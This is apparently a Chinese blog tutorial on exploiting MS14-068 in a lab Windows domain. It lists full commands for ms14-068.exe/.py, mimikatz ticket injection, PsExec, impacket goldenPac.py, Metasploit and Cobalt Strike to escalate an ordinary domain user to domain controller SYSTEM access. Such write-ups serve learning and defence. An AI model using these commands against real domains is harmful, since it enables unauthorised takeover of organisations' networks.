Pass The Ticket之ms14-068

前言

Pass The Ticket 也是横向渗透的一种攻击方式,简称ptt。而Ticket票据是利用kerberos 协议进行攻击的,所以之前先学了《kerberos 认证学习》
常见的有三种攻击方式:ms14-068、Golden Ticket(黄金票据)、Silver Ticket(白银票据)
我们今天先学习ms14-068,获取DC的一种方式。

漏洞起源

在kerberos 协议中,Client去访问Server,需要知道是否具有访问权限。所以微软在KRB_AS_REP中的TGT中增加了Client的PAC(特权属性证书),也就是Client的权限,包括Client的User的SID、Group的SID。
ms14-068 漏洞就是在经过身份验证的Client在TGT中伪造高权限的PAC。
漏洞细节参考:深入解读MS14-068漏洞:微软精心策划的后门?
该漏洞允许任何一个域普通用户,将自己提升至域管理员权限。微软给出的补丁号kb3011780。
测试在server 2012未成功利用该漏洞。

漏洞利用

测试环境
域:tide.org
域控制器 dc.tide.org,server 2008 服务器,IP为10.211.55.88
域用户 tidetest,server 2008 服务器,IP为10.211.55.8

假设我们通过NTLM-Hash或者明文密码获取了域用户tidetest的权限,就可以利用ms14-068漏洞将自己域用户提权为域管理员权限。以下实验操作均是在tidetest域用户权限下操作(非管理员权限)

在默认情况下,域用户tidetest是没有权限访问dc.tide.org(DC)的。

image.png

ms14-068.exe

1.获取域用户tidetest的SID
SID(安全标识符),是为域或本地计算机中创建每个帐户所分配的唯一ID字符串。

whoami /user
image.png

2.生成TGT票据
从github下载ms14-068.exe利用工具

ms14-068.exe  -u tidetest@tide.org -s S-1-5-21-2478348595-1372543966-1277690238-1104 -d 10.211.55.88 -p test@666
-u 域用户@域名
-s 域用户SID
-d 域控制器地址
-p 域成员密码

命令执行后,会创建.ccache文件。证明漏洞触发成功。

image.png

3.注入内存
再使用mimikatz将票据(TGT)注入到当前内存中,来伪造kerberos协议认证证书。

kerberos::purge         //清空当前所有凭证
kerberos::list          //查看当前凭证
kerberos::ptc TGT_tidetest@tide.org.ccache   //将票据注入到内存中
image.png

注入之前:

image.png

注入之后:

image.png
kerberos::list  可查看到凭证
image.png

继续使用PSTools目录下的PsExec64.exe获取cmdshell。获取域控制器权限,且为system权限。

image.png

ms14-068.py

该脚本也是产生一张kerberos的票据缓存,可以针对linux平台的kerberos认证,也可以是windows。
github下载windows-kernel-exploits ,切换至MS14-068目录下,可运行ms14-068.py文件。
注:单独下载ms14-068.py无法使用
命令为

python ms14-068.py  -u tidetest@tide.org -s S-1-5-21-2478348595-1372543966-1277690238-1104 -d 10.211.55.88 -p test@666

生成.ccache文件。

image.png

也是一样的道理,使用mimikatz注入票据

kerberos::ptc TGT_tidetest@tide.org.ccache
image.png

需要注意的是dir输入计算机名,而不是IP地址。

goldenPac.py

goldenPac.py脚本是impacket工具包里的。
先需要在kali上安装kerberos客户端:

apt-get install  krb5-user

再使用goldenPac.py脚本

goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host

命令为

python goldenPac.py -dc-ip 10.211.55.88 -target-ip 10.211.55.88 tide.org/tidetest:test@666@dc.tide.org

就可以直接获取cmdshell。

image.png

metasploit

使用ms14_068_kerberos_checksum模块

set domain tide.org
set user tidetest
set password test@666
set rhosts 10.211.55.88
set user_sid S-1-5-21-2478348595-1372543966-1277690238-1104
image.png

可导出bin文件,证明存在ms14-068漏洞。
但是后续在内存中导出Ticket,以及使用票据的过程中,始终出错。
有解决方案的小伙伴可以告诉我。

CobaltStrike

依然是使用ms14-068生成一个票据。
执行命令后会在当前目录生成.ccache 的文件
然后使用 KrbCredExport 将 .ccache文件转化为kirbi格式,也就是user.ticket。

python KrbCredExport.py TGT_tidetest@tide.org.ccache user.ticket

使用cobaltstrike 的 kerberos_ticket_use命令加载ticket。

image.png

加载后可以访问到DC。

image.png

如果要继续利用,可以利用当前的session对域控进行psh。

手动Add Target

image.png
image.png

勾选use session's current access token,选择获取tidetest域用户的session。

image.png

DC即可上线。

image.png

参考资料

MS14-068域权限提升漏洞总结
ms14-068之metasploit应用
通过 Cobalt Strike 利用 ms14-068

推荐阅读更多精彩内容

  • 这篇文章介绍了Mobile BI(移动商务智能)使用过程中涉及的各种身份认证的方式,主要目的是对这些方式的原理进行...
    雨_树阅读 741评论 1 2
  • 前言 内网渗透大多数为域渗透。学习域渗透kerberos协议就是绕不过的一个难点,白银票据、黄金票据、攻击域控都离...
    CSeroad阅读 1,486评论 0 3
  • 一、前言 概述Kerberos是一种计算机网络认证协议,它允许某实体在非安全网络环境下通信,向另一个实体以一种安全...
    香山上的麻雀阅读 5,645评论 0 0
  • 最近老在项目的shell脚本中看到kinit这个东西,完整的命令是 kinit -k -t ./conf/kerb...
    sherlockyb阅读 30,909评论 0 14
  • 今天是6月6日,明天就是端午节,我和儿子、儿媳一块去无锡“旅行”。 6:30我们准时出发。刚上车,突然...
    低调pan阅读 619评论 13 15